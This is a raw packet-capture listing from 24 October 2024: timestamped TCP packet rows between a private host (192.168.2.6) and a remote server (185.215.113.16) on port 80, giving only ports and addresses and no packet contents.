Oct 24, 2024 11:02:36.113845110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113857031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113867998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113882065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113892078 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113922119 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.113951921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113975048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113990068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.113991976 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.114001036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114013910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114027023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114032030 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.114034891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114072084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.114093065 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.114103079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114115953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114126921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114166021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.114192963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114204884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114217043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114229918 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.114232063 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114245892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114259958 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.114289999 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.114365101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114387989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114399910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114470959 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.114487886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114500999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114522934 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114535093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114546061 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.114548922 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114557028 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.114559889 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.114598036 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.230803013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.230830908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.230843067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.230854988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.230865955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.230885029 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.230920076 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.230926991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.230971098 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.230977058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.230988979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231017113 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.231035948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231048107 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231057882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231069088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231076956 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.231211901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231223106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231235027 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231255054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231256962 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.231266975 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231272936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231278896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231283903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231296062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231323004 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.231364965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.231396914 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.231476068 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231487036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231499910 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231527090 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.231539965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231549978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231550932 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.231560946 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231575012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231579065 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.231610060 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.231829882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231841087 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231852055 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231865883 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231874943 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.231875896 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.231935024 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.270929098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.270988941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271006107 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.271066904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271161079 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.271186113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271198034 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271219969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271243095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271245003 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.271255970 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271269083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271281958 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.271306038 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.271599054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271858931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271900892 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.271908998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271941900 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271955013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.271991968 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272018909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272032022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272044897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272059917 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272089005 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272094965 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272106886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272119045 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272131920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272144079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272154093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272154093 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272191048 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272214890 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272224903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272244930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272254944 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272258043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272268057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272269964 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272279978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272293091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272298098 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272303104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272316933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272327900 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272346020 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272350073 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272361040 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272372007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272383928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272396088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272403955 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272408009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272419930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272433043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272445917 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272454023 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272459030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272464991 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272468090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272479057 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272490978 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272499084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272501945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272516966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272530079 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272531033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272547007 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272576094 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272581100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272593021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272603035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272614956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272624969 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272624969 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272646904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272658110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272665977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272670031 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272681952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272687912 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272694111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272706032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272716045 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272739887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272743940 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272752047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272763968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272777081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272784948 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272789001 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272802114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272811890 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272814989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272855043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272872925 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272883892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272897005 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.272936106 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.272996902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273010015 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273021936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273032904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273040056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273046017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273051977 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273063898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273075104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273096085 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.273123980 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.273154020 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273180008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273190022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273192883 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.273200989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273211956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273219109 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.273222923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273235083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273245096 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.273247957 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273260117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273271084 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273289919 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.273307085 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273315907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.273319006 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273330927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273343086 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273348093 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.273355007 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273366928 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.273370028 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.273399115 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.277709961 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.349364042 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349395037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349406958 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349733114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349745989 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349761009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349797964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349808931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349821091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349833012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349847078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349860907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.349864960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349860907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.349860907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.349860907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.349885941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349898100 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349899054 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.349908113 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.349910021 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349921942 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.349939108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.349982023 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.350013018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350024939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350035906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350049019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350068092 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350070000 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.350078106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350094080 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350094080 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.350116014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350123882 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.350128889 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350142956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350150108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.350155115 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350167036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350193977 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.350210905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350219011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.350224018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350234985 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350248098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350260973 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.350287914 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.350295067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350306988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350318909 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350330114 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350341082 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.350353956 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.350370884 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390033960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390053988 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390094042 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390127897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390139103 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390149117 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390158892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390175104 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390187025 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390216112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390227079 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390238047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390256882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390278101 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390322924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390361071 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390388012 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390445948 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390455008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390494108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390501976 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390512943 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390522003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390535116 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390562057 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390588999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390599966 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390604019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390614033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390624046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390634060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390636921 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390659094 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390681028 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390721083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390729904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390738964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390749931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390759945 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390768051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390770912 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390782118 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390793085 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390810966 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390875101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390887022 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390897036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390912056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390917063 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.390923023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.390930891 CEST	49756	80	192.168.2.6	185.215.113.16
